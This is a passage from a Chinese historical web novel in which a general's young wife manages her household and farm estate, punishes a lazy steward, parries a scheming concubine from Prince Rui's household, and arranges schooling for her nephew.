也是从那以后,老道士不告而别,只说她天赋太过,须隐藏锋芒,更须寻一个八字贵重、压得住她又能被她借势的人相伴,否则人生不平,恐有大灾。 闻昊渊,就是旺她的这个人。 轻叹一声,虞声笙嘀咕道:“果然京城是非多,想过安生的太平日子容易么……” 瑞王府。 江姨娘听了丫鬟的回话,秀气的眉心蹙紧:“怎么这样巧,说没就没了?连个消息都没放出来,他们府上也没请大夫么?” 玛瑙摇摇头:“怪就怪在这里,奴婢去问了,说是苏姨娘病得突然,那一日还在理账呢,下头的婆子们都没拿到对牌钥匙,她就被夫人叫走了,随后就一病不起,两日后就发丧出殡,快得吓人。” 第105章同是姨娘,不同命 “安葬在哪儿了?”江姨娘又问。 “就是他们府上在京郊的田庄上。”丫鬟也觉得奇怪,“对啊,为何草草下葬?还选在这种地方?苏姨娘不是独掌府中大权数年了嘛,就算暴病而亡,就冲着温老爷对她的情分,也该风光大葬,如今一场法事都不做,就这样……” 江姨娘咬着牙,沉思片刻:“罢了,死了就死了吧,横竖也是个不中用的。” 原来,苏姨娘与江姨娘私交甚好。 二人因有相同的境遇,甚至有些惺惺相惜。 后来,双方都见彼此掌控中馈,一面佩服一面又觉得值得自己深交,一来二去更亲密了,渐渐有引为知己的趋势。 苏姨娘陡然没了,江姨娘倒不是很伤心,只是觉得奇怪。 更遗憾自己失了一个能谈话说笑的助力。 京中那些个太太奶奶大多目下无尘,瞧不上妾室。 要不是江姨娘是瑞王府里的妾室,更有瑞王的偏宠疼爱,那些当家主母更不会给她好脸色。 即便如此,那些明面上的宴饮瑞王还是不愿江姨娘去参加。 后来偶有一次出席,江姨娘被那些个权贵之家的女眷羞辱一番,回来后痛哭不已,心中越发暗恨。 坐在镜前沉思良久,她从鼻息中一阵长叹,又问起了另外一件事:“账房里的银子可支取了?” 玛瑙迟疑:“还不曾。” “这事儿不是几日前就让你们去办了,为何还没办成?”江姨娘火了。 “姨娘别生气,倒也不是奴婢们不尽心,只是账房那头推三阻四的,咱们也不能硬抢啊。”玛瑙觉得有些委屈,“那账房管事说了,说今年冬衣裁剪的大头银子姨娘已经支取过了,共计八百两;这会子又要来以相同名目再支取四百两,管事的说,须让王爷过目点头才能成。” “混账东西!”江姨娘暴怒,“不就区区几百两银子?阖府上下这么多人事物要更迭,裁剪冬衣的预算不够也是有的,这些个不长眼的奴仆,竟欺到我头上来了!” “……那管事说了,这也是王爷的意思。” 一听这话,江姨娘顿时偃旗息鼓。 她气得面色铁青,却说不出话来。 自从官银一事曝光,加上秋猎归来,瑞王对她的耐心已经明显不如从前,就连宠爱都迟缓懈怠了不少。 日日回府,他不是窝在自己的屋内,就是与一众下属同僚在外书房畅谈,根本不让女眷进入。 江姨娘就算想去送个糖水茶汤什么的,都不行。 她又不是傻子,如何不明白瑞王已经起疑。 一阵心虚后,她撩起眉眼:“无妨。”招招手,又让玛瑙靠过来,她一阵耳语。 玛瑙得了吩咐,应了一声,匆匆离去。 当晚,瑞王回府时,半道上却听一曲哀怨婉转的琴声,硬生生绊住了脚步。 那是……湘妃怨。 伴随着琴声传来的,是江姨娘珠圆玉润的歌喉。 隐隐约约,绕梁三日,听得人肝肠寸断,心都要碎了。 瑞王到底没有那么狠心绝情。 这段时日晾着江姨娘,也是为了让她好好清醒清醒,认清自己的身份。 如今一听这曲子这歌声,哪里还能耐得住。 脚下步子一转,他便去了江姨娘的房中,这一夜恩爱缠绵自不必说,一夜过来,江姨娘娇容羞涩,更添颜色,只着雪白的里衣歪在他怀中,说话温柔小意,娇滴滴地很是撩人,不经意间又从松开的领口处露出娇俏圆润的肩头。 一抬眼,更是欲拒还迎的娇羞。 瑞王哪里还能耐得住? 二人到了午后方才起身。 江姨娘抬手拢着发髻,笑得骄傲。 果然,瑞王再不舍晾着她,她要的那些银两也尽数入了她的腰包。 送走了瑞王,她小口小口用着一盏梅子汤,眉眼间全是得意:“我就说嘛,这么大一个瑞王府,我不过支取几百两银子,又算得了什么事?” 玛瑙也喜不自禁,马屁不断:“还是姨娘有能耐,王爷最喜欢姨娘了。” 是了,像苏姨娘那样无用之人,才不配跟她成为朋友。 新一批的冬衣到了。 用了粗布做表,里头夹了一层细棉布,再在里头填了棉絮等物,摸在手里暖蓬蓬软乎乎的,确实制工不错。 裁缝娘子得了赏钱,在虞声笙跟前格外口齿伶俐。 “夫人有所不知,这粗布虽耐磨耐脏,但有一桩不足之处,就是棉絮塞进去久了会漏出来,在里头加一层细棉布,不但能省了成本,还更暖和。” 虞声笙略略瞧过,赞道:“果真不错。” 又命人取来了册子,按照原先的排序将这些冬衣发了下去。 都发给府里的奴仆过冬使用。 这是她嫁过来的第一年,更是头一个冬天,想要立威、想要收拢人心,这是个绝好的机会。 秋冬之际,也是各处朝贡的季节。 不知多少好东西流水似的送进宫中,光是那贡品单子就长得一眼看不完。 闻昊渊也领了一个新差事,要出城迎朝贡的车队,以尽护卫之责。 上回西郊大营的操练成果很是不错,他与慕淮安都被狠狠褒奖,各自欢喜。 只不过,闻昊渊显然更直白,事后又在陛下跟前详细汇报了一番,事无巨细,让陛下听得一忽儿皱眉,一会儿发笑。 也不知他汇报的内容究竟是什么,反正最后皇帝给两府的赏赐分出了个厚此薄彼。 厚的是威武将军府,薄的那一份,自然落到了慕淮安的头上。 为此,徐诗敏还特地来拜访虞声笙,想走内宅女眷和气生财的路线,顺便探听一下风声。 虞声笙莫名其妙。 因为家里男人根本没提一句。 徐诗敏又是个肚子里弯弯绕绕很多的人,就是不愿直言不讳;总之,这次会面拜访效果很差,搞得虞声笙心情很不好——平白浪费了半日的功夫,还送出去了一斤上好的茶叶,结果什么用都没有。 在这个心情不好的节骨眼上,有人不长眼地撞了上来。 这人不是旁人,正是之前被虞声笙高抬贵手、放过一马的张大康。 他与张运、何管事不太一样,总存着自己的小盘算。 又目光短浅,不听人劝。 上一次虞声笙之所以睁一只眼闭一只眼,是因为她还没能彻底掌管了解小宁庄,又正值季度交替、田庄用人之时,她不愿再起风波,先稳住庄子上的各项事务再说。 现在看来,何管事与张运都是有点眼力见的。 他们明白给了自己又一次机会的人,是虞声笙。 更明白这位威武将军府的夫人才是他们接下来要效忠的主子。 是以,小宁庄上的各项事务,他们都亲力亲为,成为了她的眼睛和耳朵。 反观张大康呢……就没那样强的觉悟了。 这一次举告他的,是张运。 张大康也不知哪里来的胆子,竟借着从前的势,蒙骗了庄子上一佃户家的女儿,半哄半骗地成就了好事,还许诺要以十两银子为聘礼,会将人家风光娶回去做正头老婆。 那女孩左等右等,也等不到张大康的行动,终于忍不住了…… 第106章明赏暗罚 生长在田野乡间的女孩子自然比养在深闺里的千金小姐们多了几分泼辣果断,这姑娘倒也没有明着找上门去,而是每日活计做完后,偷偷去瞧上几眼。 这一瞧,就被姑娘察觉到了不妥。 原来张大康那些甜言蜜语不但对她说,而且还跟其他妙龄少女讲。 横竖他肚子里没多少墨水,也不识几个字,就这些翻来覆去的话还是从张耀祖处学来的,自然有样学样,甚至连一个字都不会改。 亏得那姑娘先前被他哄得春心萌动,以身相许,还眼巴巴地等着张大康来提亲,往后自己的终身就有指望了。 没想到乍一见这真相,姑娘悲愤交加,立马回去告知了爹娘。 农村的汉子自是有使不完的力气。 张大康被人家两口子堵在了门外,话还没说上两句就挨了一顿打。 姑娘的亲娘唤作窦妈妈。 是个瞧着精瘦,却很有头脑的庄户妇人。 她立马让张大康写下婚书,又搜走了张大康藏着的不少银钱,只说是聘礼,还让张大康在婚书上画押。 就这样,张大康挨了一顿打,还痛失所有银钱,并且搞臭了名声。 如今小宁庄上谁不知晓张大康这个好吃懒做的货,居然还想哄骗好人家的清白闺女。 那些个原先被骗过的女子,有一个算一个,将这些传言添油加醋,又传了出去。 等传到虞声笙耳朵里的时候,已经臭不可闻。 何管事亲自来回话。 说完后,他头都不敢抬,战战兢兢地跪在屏风之外,等候年轻主母的发落。 张大康没什么定性脑子,但何管事和张运却有。 他们太明白自己的出身并不能入得了威武将军府的眼,若不是当家主母年轻,小宁庄又扩了不少地方,须要几位对小宁庄上下都了解的人做管事,虞声笙必不会留着他们。 本就是戴罪立功,哪晓得张大康竟这般没有眼力劲。 虞声笙慢悠悠道:“确有此事么?可别冤了他。” “夫人明鉴,小的已经查清楚了,确有此事。” 话音刚落,金猫儿一打门帘子进来了。 “夫人,先前您吩咐让裁剪的冬衣已经新得了一批,可是今日一并送去庄子上么?” “让他们打点妥当,备车马,一会儿我跟着一道去。” “是,夫人。” 金猫儿脆生生应了,转身又出去忙活。 虞声笙吩咐何管事:“你先回去吧,下午晌的时候我会过去庄子上一趟。” 何管事心紧了紧,拱手退下。 回到小宁庄,张大康先迎了上来,围着何管事问东问西。 反倒是张运根本不在意,半个字不提。 何管事被张大康烦得头疼,连连摆手驱赶:“你就别在我这儿折腾了,早知今日,何必当初呢!夫人于我们有再造之恩,要不是有夫人网开一面,你以为咱们能留在小宁庄?你倒好,不想着好好做活,叫夫人满意,反倒有这闲工夫想这些个乱七八糟的。” 张运冷笑两声,依旧不说话。 这下却惹恼了张大康。 “你笑什么?想说便说就是,谁还堵着你的嘴了?”张大康怒道。 “我不想说什么,只是感叹,从前跟在大少爷身边忙前忙后最积极的人是你,我还以为你换了个主子还能如从前一般;没想到,你不是想做活计,你就是想着跟在大少爷身边能花天酒地、吃香喝辣。” 张运一针见血。 这话说得张大康面红耳赤,瞠目结舌。 张运也懒得跟他多费口舌,又与何管事说了两句话,拔腿就走。 眼瞅着就要入冬了,地里新种下去的作物庄稼还要人照看,这可关系到来年春天整个庄子上的口粮,断断不能出纰漏。 在惶惶不安中,张大康六神无主。 想走也不行,身上没银钱,能走去哪儿? 留下好像也不行,眼瞅着夫人下午就要来清算了…… 突然,一路过的老妪见他失魂落魄,咧开掉了几颗牙的嘴,笑道:“你慌什么,如今婚书也签了,聘礼也给了,你该欢欢喜喜等着娶新娘子喽。” 本是玩笑的两句话,却听得张大康醍醐灌顶,瞬间清明。 是啊,男女婚嫁本就天经地义。 就算夫人来了,又能如何? 张大康定了定心神,觉得舒坦多了。 下午晌,威武将军府的马车徐徐停在了小宁庄的堂屋前。 虞声笙来了。 分发冬衣,无论在哪里都是让人兴奋激动的事情。 哪怕这一批带来的冬衣并不能覆盖庄户里所有人家,但只要有,就是有希望。 金猫儿、今瑶、今瓜等人忙得脚不沾地。 依着秋季里劳作最努力最勤奋的名单,这些人家优先发放。 新得了冬衣的农户,不论男女老少都满脸喜色。 今年庄子上丰收,主家不但多交了税,免去了庄户青壮年的徭役,如今更有簇新的御寒衣物上身,这简直比过年还开心。 等发放完毕,虞声笙扫了一眼这些大小管事,问道:“张大康人呢?” 很快,张大康就被送到了她跟前。 张大康跪下就喊冤。 说自己与那户人家的姑娘情投意合,这会子人家聘礼收了,婚书也在,为何还要胡乱编排,坏了他名声。 他还口口声声说,自己是好人来着,最是老实本分。 虞声笙听了只想笑。 像张大康这样的懒汉,表面上老实,实则懦弱;遇到好事先紧着自己来,遇到麻烦第一个跑的也是他。 她自乡间长大,见惯了这样的人。 更明白想要立威,想要让底下的人心服口服,在惩处张大康时就不能一味用强。 “你说什么我听不懂,什么聘礼婚书的,我也没见着……我不过是见了何管事送来的册子,上头记了过往数月内你们的劳作成绩,张大康你倒是个能干的,没枉费我从前委你重任。” 虞声笙柔声轻笑,如墨的眸色微闪,深不见底。 张大康万万没想到,自己得到的竟然是夸奖。 别说他了,其他的人也惊呆了。 ——夫人这是……唱的哪一出?张大康能干?太阳莫不是要从西边出来了吧…… 虞声笙浑然不觉,拨弄着指尖,心不在焉道:“你本就是小宁庄里的老人了,如今也该给众人领个好头;正好,庄子西边儿有块地方尚未开垦,我瞧你能干,是个得用的,就让你先去料理这块地方,如何?” “这……夫人青眼,小的没有不从的。” “好,办得好,我自有重赏。”虞声笙勾起嘴角,环顾四周,“你们也替我多多瞧着张大康,也跟着多多学着。” 众人无一不应的。 张大康喜滋滋,还道是自己否极泰来。 待何管事领着他去了那块地方一瞧,他震惊了。 “这、这……” 何管事丢给他一把锄头,抬腕挡住口鼻:“这是夫人的吩咐,你赶紧的吧。” 原来西边这块荒地,原先就是做粪坑用的。 即便用土掩埋,远离住处,靠近了依然能闻到一股臭味。 “就我一人么?”张大康回过神来。 何管事:“自然不是你一人,会有人看着你,夫人说了,要咱们好好向你请教学习;还不赶紧的,等会儿天黑了就忙活不动了。” 张大康这才明白——这哪里是赏识,分明是……惩罚! 第107章入局 秋冬天气寒冷,城内还略微好一些。 可在乡野处,北风肆虐,越发吹得土地坚硬冰冷,一锄头下去都翻不动多少,反而能震得虎口发麻,如此多来几下,张大康只觉得掌心生疼,胳膊不着力,连锄头都险些握不住。 其实他虽偷懒了点,但寻常活计也有做。 可就是没有这样辛苦的。 才不到半个时辰,张大康就有些吃不消了。 他频频向不远处田埂上的何管事挥手示意,表示这一块地方一个人真的打点不来,让何管事请示夫人,再给他多配几人才好。 何管事原打算用温和的话语,委婉含蓄地拒绝。 谁料,张运却在一旁道:“还给你配几个人,你不如让夫人再给你寻几个丫鬟婆子伺候着,不是少爷命,还这般矫情做什么?你当真不明白夫人的用意么?” 张大康黑了脸。 张运又道:“夫人说了,你什么时候把这一片料理好,什么时候才能重新给你安排活计。” 张大康:…… 就这样,他被困在了这片地里。 挖着又干又硬、还滂臭无比的土,好几次差点吐出来。 顶着寒风,缩紧夹袄,他硬着头皮忙活着,欲哭无泪。 时不时有人远远经过,指指点点,笑声传来,明显就是嘲笑他来的。 张大康心中憋闷,明白自己理亏,只能硬着头皮继续忙。 大约是忍辱负重久了,他越发想尽快脱离这尴尬境地,激发出了前所未有的干劲,一日忙活下来,手上的皮都磨掉了一层,他都不愿停下来。 总算犁完了一片,他那张脸已经叫寒风吹得硬生生老了几岁。 本以为到了虞声笙跟前,这事儿就这么翻篇了。 谁知,虞声笙却淡淡地来了句:“枉我器重你,还在众人跟前夸你,没想到你就是这样做活的?到底是张家留下的老人了,我动你长辈们的面子过不去,我不动你吧——岂不是叫外人以为我这主母不够威严,压不住底下的人?我年轻,自是不能两头兼顾,只能先紧着关键之处来了。” “你可别怨我。” 冷冷一句话,敲定了张大康的结局。 他被狠狠打了一顿,丢回自己屋中艰难养伤。 这一下,唬得那姑娘的娘老子也心生忌惮。 原还想着能叫张大康负责,娶了自家闺女,如今瞧着张大康这样不得夫人的眼,还被狠狠罚了,往后在庄子上还能有好日子过? 他们立马换了风向,改了主意,当下不提什么聘礼婚书,银钱收下,就当是给自家闺女的补偿,趁着张大康养伤的时候,他们火速给姑娘定下了另一门亲事。 对方也是庄户人家,瞧姑娘生得水灵,嫁妆又丰厚,再没有不答应的。 农村小伙能娶一房年轻女子做妻室,就已经很难得了。 当下二人欢欢喜喜成了婚,虞声笙听说了,还特地让今瑶跑了一趟,送了一对虾须金镯做添妆,恭贺姑娘大喜。 在夫人跟前过了明面,当下无人敢再提。 却说那张大康,好不容易养好了伤,一面骂骂咧咧一面继续在床上躲懒——天气冷了,谁愿意出去干活呢? 横竖冬日里,庄子上也没有太多事情要忙,他也就睁一只眼闭一只眼了。 张运来时,他还蜷缩在被子里。 “今儿你睡够了就早点起来。”张运道。 “干嘛?”张大康声音瓮瓮的,似有闷气。 张运听得明明白白,装作没听懂:“你回头把你这屋子收拾一下,能带的带走,夫人说了,放你自由,最迟明儿中饭前你就要离开小宁庄。” 这话如同在耳边惊起一道炸雷,一下子将张大康从床上轰了起来。 “你说什么?!”他难以置信,“夫人她、她怎能赶我?我可是庄子上的老人,我也姓张,我与咱们主家一个姓,我娘老子在的时候就是张家的家生子,早早就跟了主家姓的!!凭什么赶我走!” “你忘了,小宁庄早就不姓张了。” 张运平淡地来了一句。 张大康木然,张了张嘴:“……夫人不该这样心狠,太心狠了。” 张运的话带到了。 横竖也没有旁的事情好说,他给昔日的朋友留下二两碎银子:“我能帮你的就这么多了,往后你自己寻个营生,别再像现在这样好吃懒做了。” 望着张运离去的背影,张大康终于哭了。 外头何管事遇上了张运。 见他从张大康的屋子里出来,哪有不明白的。 “你呀,总说我温吞绵软好说话,其实你心肠才是最软的,没的白白给他送什么东西……他不会惦记着你的好的。” “谁要他惦记。”张运自己心中有杆秤。 只因当初张大康爹娘还在时,曾照顾过他一段时日。 就算是还了这份情了。 威武将军府,安园。 庭院内种着芭蕉与梨花。 这个时节,梨花自是不开放的,反倒是芭蕉越发翠绿,大约是靠近暖阁的缘故,分得了这难得的暖气,烘得越发茂盛。 隔着明纸蒙着的窗棱,透进屋内一抹茵茵碧翠,令人眼前一亮。 虞声笙正坐在榻上,温婉和气地与对面的妇人说话。 这位也是今日的不速之客——江姨娘。 对方打着瑞王的旗号来的,又是给威武将军府送来了什么稀罕的皮草料子,虞声笙也不好将人关在府门外,只得硬着头皮迎进门来。 她手中把玩着一串碧玺粉彩的珠串,轻轻拨弄,偶有清脆之声入耳。 江姨娘瞥了一眼,有些惊叹:外头都说威武将军府早不如从前风光,实则怕是不一般,瞧这样一串精致的饰物,连自己都没几件,竟被这虞夫人随意拿在指间把玩…… 一时间,江姨娘眼神暗沉,略有妒意。 “上回猎场一面,我就觉着与夫人投缘,今日不请自来,还请夫人别见怪,我这人性子洒脱,无拘无束惯了的,往后常来常往的,夫人就明白了。” 江姨娘眯起眼,眼角多了一丝鱼尾纹。 “我性子内敛,也不爱与人打交道,像江姨娘这样热络的,还是头一回见,若有招待不周,还请姨娘莫要见怪;我年轻,不懂事,哪里晓得这其中的弯弯绕绕的。” 虞声笙这话好像在暗示什么,又好像什么都没说。 听得江姨娘心头跟挠痒痒似的,恨不得当场撕开来问个明白。 可她到底忍住了。 蛰伏王府多年,她早就明白做事要徐徐图之,不可心急。 “不知上回见过的那昀哥儿可还在夫人府中?”江姨娘柔声询问,“我实在是觉得这孩子面善,想见上一面。” 虞声笙却道:“昀哥儿如今正伴在我那小侄儿身边,权当做个书童伴读,怕是没空来见姨娘了。” 没等江姨娘另想招数,她又问,“说起来,我听闻数年前姨娘曾失去过一个孩子,你该不会是……见昀哥儿面善,又生了一番慈母心肠吧。” 这话阴阳怪气得紧,江姨娘有些笑不出来了:“夫人这话是什么意思?” “那一日秋猎回来,我就替昀哥儿算了一卦,你猜怎么着?” 虞声笙明眸璀璨,似笑非笑。 第108章进学 对上虞声笙那双深邃又清凌的眸子,江姨娘不由自主地捏紧了手里的帕子,却还要装作一副镇定的模样,干巴巴地扯了扯嘴角:“怎么着?” “卦象上说,昀哥儿出身不一般,非富即贵。” 短短的一句话,听得江姨娘瞳孔一紧。 虞声笙像是没察觉似的,继续自顾自道:“嗐,不过卦象一说嘛,信则有,不信则无,全凭本心罢了;我也不过是觉着与这孩子投缘,他又勤快机灵,我家小侄子又喜欢与他一处伴着,就把他留下来了。” “说起来也是好笑,他本是流浪到我跟前的,对于前尘往事都记不太清了,只晓得自己叫昀哥儿,这样一个孩子即便有再大的造化,又能富贵到哪儿去呢。” 她掸了掸袖口,对着江姨娘嫣然一笑。 江姨娘回过神来,连连认同:“夫人所言极是。” 离了威武将军府,江姨娘坐在马车内,摇摇晃晃地回程。 玛瑙不安道:“姨娘,您说今日……虞夫人这话是什么意思?” “能什么意思,不过是执意护着那臭小子罢了。哼!她护着我就查不到了么?”江姨娘一阵咬牙,“先前让你派人去查了,可有眉目?” “那昀哥儿原先是在威武将军府的庄子住过一段时日,应该是流浪混迹过去的。”玛瑙说着,顿时面露难色。 江姨娘一见,怒道:“少支支吾吾的,有什么说什么便是。” “姨娘莫生气,只是……原先那些个庄户口风还不怎么紧呢,原以为施舍些个小恩小惠的,他们就能一五一十全说了,却不想……” 今日再去小宁庄打探时,那庄子上下跟铁桶一般。 只要被察觉是外人,只要对方问及威武将军府,无论壮汉妇孺,一个个都守口如瓶,绝不多话。 若是遇上那老辣的老妪或是老翁,指不定还会被狠狠骂一顿。 玛瑙派去的两个小厮都是这样被骂回来的。 在乡野扎根生长的朴素老百姓,骂起人来一样能深入人心。 何况他们一张口就能喊得惊天动地,没等小厮反应过来,就有提着扁担、耙子或是锄头的壮汉奔过来,抬手就要打人。 如此一来,玛瑙就更没辙了。 江姨娘万万没想到,才几日的功夫,小宁庄上下竟这般铁了心的效忠新主子,顿时恨得牙痒痒,对着玛瑙的胳膊拧了几下,骂道:“要你何用?!” 玛瑙吃痛不已,红着眼眶垂眸,哪敢再多说一个字。 却说虞声笙,送走了江姨娘,她不慌不忙去瞧了辉哥儿。 辉哥儿正与昀哥儿凑在一处玩乐。 到底是小孩子,身边有个略微年长的哥哥领着一起玩,总能玩得格外畅快。 虞声笙将来意与黎阳夫人说了。 黎阳夫人两眼放光:“你是说……要给辉哥儿进学?” “是,我瞧着辉哥儿也到了启蒙的年纪了,咱们府里孩子少,怕是请不了家学先生,但京中好的学堂书院多的是,也有那久负盛名的先生,若能让辉哥儿进去读书,来日不管是考取功名,还是明辨事理,都是有益无害的,您说是吧?” “是这个理。” 黎阳夫人无不宽慰。 原本她也想过让小孙子去进学读书。 但毕竟如今不是她能做主的,到底寄人篱下,也该由闻昊渊或是虞声笙开口,才顺理成章。 正想着挑一个日子与他们两口子提了,没想到虞声笙却主动问起。 黎阳夫人笑道:“我离京已有好些年,如今京中是个什么光景,我怕还不如你知晓得清楚,难为你操心,我替辉哥儿谢谢你这个做婶婶的了。” “瞧姑母说的,我也是打心眼里喜欢辉哥儿,咱们一门武将,若能出个文武双全的,也是我沾光。” 虞声笙这话说得恰到好处,“我父亲刚好认识这些学堂书院的人,姑母若信得过,我便请父亲帮忙。” “如此甚好,就是麻烦亲家公了。” “不麻烦,都是一家人,姑母疼我如疼自己的亲闺女一般,我自然待辉哥儿视如己出。” 虞声笙弯起眉眼。 其实她都知晓。 黎阳夫人暗中给公中出了不少银钱。 光是冬日采买这一项,前前后后就贴了不下一千两。 虞声笙知晓后,明白不能在明面上和黎阳夫人分得清楚,这样容易伤了长者的一片心意,还是另辟蹊径,给黎阳夫人送上她当下最想要的东西。 说办就办,当晚虞声笙就与丈夫商议了一番。 闻昊渊搂她入怀,细细吻着她的耳畔:“得妻如此,夫复何求?” “我哪儿就那么好了。”她娇羞一笑,其实心里甜丝丝的,觉得丈夫慧眼识珠,说得真对,自己可不就这样好么。 “近几日你可忙得过来?” 虞声笙关怀道。 “还行,只要不领兵打仗,这些事情其实都是小事。” 男人轻笑,面上已经起了一层青色胡茬,越发衬得那张脸有些冷酷骇人,“倒是有件小事,慕淮安也请旨与我一道分担,但……我已向圣上请旨,我一人足矣。” “皇帝陛下同意了?” “嗯,区区小事,何必动用两员大将。” 闻昊渊弯起眉眼,“不过,慕淮安急得很,你要知道……他还未能得圣恩袭爵。” 虞声笙明白过来。 是啊,人前人后大家都称慕淮安一声少将军。 所有人都以为他继承镇国将军府是板上钉钉、顺理成章的事情。 但……镇国将军府也是有勋爵在身,需要御发明旨,才可让慕淮安袭爵。 不然,少将军永远只是少将军。 她眨眨眼睛:“那可真有趣。” 翌日,虞声笙回了一趟虞府。 在书房中,她与父亲说了半晌的话。 虞正德见将军府这样重视读书,十分欣慰,便给女儿写了一纸,上面全是启蒙孩童要看的书籍,还说下个月初会给京中的澜麓书院写信,推荐辉哥儿过去启蒙。 澜麓书院可是京中排得进前五的学堂。 若无推荐,很难迈进一步。 再看看老父亲给列出的书籍名单,虞声笙不由得替小侄儿捏了把汗——辉哥儿,你的苦日子要来了哟。 说完了送小侄儿读书的事情,该说一说虞声笙自己的正事了。 “父亲,有件事女儿想问个明白,还请父亲告知。” 虞声笙温柔乖顺,言辞中难掩坚定,“当年,女儿亲生父母的死因……是否真的只是暴病?” 虞正德眼神躲闪片刻:“怎好端端的问起这个?” 虞声笙也没遮掩,将自己与昌夫人相识的事情说了一遍。 她感叹道:“女儿自幼得父亲母亲照拂,方能长大成人,今日一问,不过是想求一个明白……瑞王在京中得势,往后少不得要有打交道的时候,女儿不能蒙在鼓里,什么都不知,若一个不设防,再给夫家娘家惹出什么麻烦来,岂不是害了父亲母亲,还有大哥哥。” 虞正德闻言,沉默片刻。 “确实是暴病而亡。”他叹了一声,“至于昌夫人为何这样与你说,许是不愿你与瑞王府走得太近。” 正好张氏送了四君子汤来,听到丈夫这话,快人快语道:“昌夫人不喜瑞王府的江姨娘,会这样说也不奇怪。” 第109章处境相反 论起京中女眷中盛传的秘闻,张氏可要比虞声笙知道的多得多。 话匣子一打开就有点收不住,她滔滔不绝。 一番话说完,虞声笙奉了茶水到张氏跟前,张氏笑眯眯接过,给整件事下了个定论:“昌夫人本就不喜姨娘妾室那般妖娆做派,原先她掌家的时候,整个温府上下无人不从,便是丫鬟站出来都比旁人府里的气派体面守规矩;她家那个姨娘,噢,就是前不久刚死了的那个,叫什么苏姨娘的,这苏姨娘与江姨娘交好。” 张氏说得痛快,又吃了两口茶,“声笙虽到我身边没几年,但那几年里,我可是将能教的都教了,声笙也明白,女眷来往也要讲究一个门当户对;清白的人家对清白的人家,正妻对正妻,哪有叫一个妾室出来抛头露面,待客招揽的?也忒不成样子了。” 话音刚落,张氏顿觉自己好像在拐着弯骂瑞王,面上一阵讪讪。 但好在丈夫和养女都不曾放在心上。 虞正德更是赞同妻子的话。 京中女眷出面交际,并没有江姨娘这样的。 人家昌夫人不喜欢她也是正常。 虞声笙垂眸,暗道:还有更深一层原因呢,苏姨娘害了他们两口子的长女,自然越发看不惯与苏姨娘交好的江姨娘;只是…… 昌夫人那样快人快语的性子,既然开口提醒了,必不会只是单纯因为妻妾之争。 看样子,养父养母也知晓的不多。 想来也是,要是当年她亲生父母之死真的另有隐情,越是不知情的虞府越是安全,否则她也不能平安长大。 念及此,虞声笙也想通了。 世间万物,都难逃一个缘法。 若当下一知半解,如陷入迷雾一般,那就证明还未到时候。 她是个耐得住的性子。 莞尔一笑,她便自然而然将话题岔开,说起了自己府里的趣事。 当听说黎阳夫人帮衬了不少时,张氏无不感慨:“你这姑母当真没话说。” “都是一家子,且又是长辈,姑母这般照拂,女儿自然铭记在心。”虞声笙笑道,“就是要烦劳父亲了。” “说不上什么烦劳不烦劳的,若这孩子真有造化,是读书的料,也是为我朝添一个未来的人才。”虞正德捋着胡须,越发高兴。 正说着,郑秋娥来回话了。 说是这个月的月例都已经放完了,请张氏过去看账。 张氏拉着虞声笙:“难得回来一趟,今儿我那有你爱吃的香露茶,还有小荷叶桂花饼,你嫂子身边的丫鬟手艺一绝,这做得竟比我那小厨房还要好。” 郑秋娥抿唇:“难为母亲喜欢,我日日都让人给母亲送来。” 几个女眷坐着说了一会子话,直到日落西山,虞声笙才告辞离去。 她不是个爱管闲事的性子。 威武将军府里的庶务更是多得忙不过来。 地方大,处所多,涉及到的奴仆管事就更多。 园子里的主子不多,但各种庭院用处都要有,这是一点都错不了的。 虞声笙哪里懂这些,除了向张氏请教之外,便只有频繁出入一些高门贵府的宴会,当场学习讨教。 好在她年轻,又生得绵软乖巧。 颜色虽不够出挑,但清丽柔顺,更能博得那些个太太夫人的喜欢。 又见她虚心询问,言辞中不乏恭敬,她们便更加知无不言言无不尽了。 “那唱戏的台子也要分季节的,春秋还好说,尤其冬夏两季更要当心,暑气寒气可不能过了。” “四季景致,风水起伏,这些都是福祸相依的,我瞧你投缘,不如荐给师父给你,也帮你府上瞧瞧?” 这些太太们你一言我一语地说着,几乎将虞声笙众星拱月一般围在当中。 好一番交流后,虞声笙俨然博得众人的欢喜。 大家私底下都说,果真传闻不如见面,人家虞府养女哪里不好了,明明温柔懂事又谦和大气,与她说起话来如沐春风,带着恰到好处的体贴。 说起从前那段往事,有一些女眷的目光难免落到角落处徐诗敏的身上。 徐诗敏身着端庄华服,以绢蓝绸缎为面,江南云锦为底,通身的气派。 抬手托着茶盏,她浅浅呷了一口,满脸淡然。 可微微阖起的眼睑处却藏着一抹不甘心。 这已经不是她第一次在外头的宴饮上被虞声笙抢了风头。 明明数月前,她们的处境还是完全相反的。 如今可好,只要在一处,虞声笙才是那个被人喜爱的。 反观她……更显得无人问津了。 从前还有个郭文惜会陪在她左右。 想到这儿,徐诗敏眼眸阴沉,看向不远处与虞声笙站在一块,叽叽喳喳有说有笑的郭小姐。 就连自己的朋友,都向着那个养女!实在可恨! 徐诗敏放下茶盏,起身走向郭文惜。 “文惜妹妹。”她柔声轻笑。 郭文惜一见是她,热情洋溢的笑容顿时冷却不少:“原来是将军府的大奶奶,我这厢有礼了。” “你我姐妹一场,未出阁时就交好,怎今日还这般客气起来了,可是我做错了什么叫妹妹心生不快了?” 徐诗敏轻捂心口,有些蹙眉。 郭文惜很想当场呛回去,但想起嫂子白夫人的叮嘱,到底忍住了。 “大奶奶哪里话,虽说咱们待字闺中时便交好,可如今都大了,你也嫁人了,该有的礼数却不能废——” 郭文惜用胳膊肘捅了捅虞声笙,“你说是不是这个理?你也是将军府的少夫人呢,你来说说。” 到底是一起吃过烤獐子腿的姐妹了,在郭文惜看来,虞声笙就是和自己一条船上的人。 虞声笙有些哭笑不得,但很好的敛住了:“是啊,瞧我这眼神记性,一时贪着与各位太太奶奶请教,倒忘了跟嫂嫂说话,嫂嫂莫怪。” “都是自家姊妹,什么怪不怪的。”徐诗敏很大度地笑了笑,也掺和了几句。 突然,人群中有人提起了徐诗敏娘家议亲一事。 “慕大奶奶,我可听说了,你娘家小妹与石府少爷可是在说婚事?” 徐诗敏等的就是这一句。 她一阵踌躇:“哪有这样的事,别胡说,我小妹还小,不急着说这些呢,我爹娘也说了,要多留她几年。” “若真是这样就好了,要是你心里没个谱,不如问问你这义妹小姑子,我听闻石府与威武将军府可是连着亲的呢,石府少爷的母亲与威武将军府的黎阳夫人可是姑嫂。” 听到石府少爷这几个字时,虞声笙就隐隐觉察出不对。 耐着性子听下去,她不由得心头冷冷发笑。 她就说嘛,徐诗敏这人表面温雅大方,实则肚子里一锅坏水。 怎么可能突然好端端地来献殷勤? 原来是在这儿等着她。 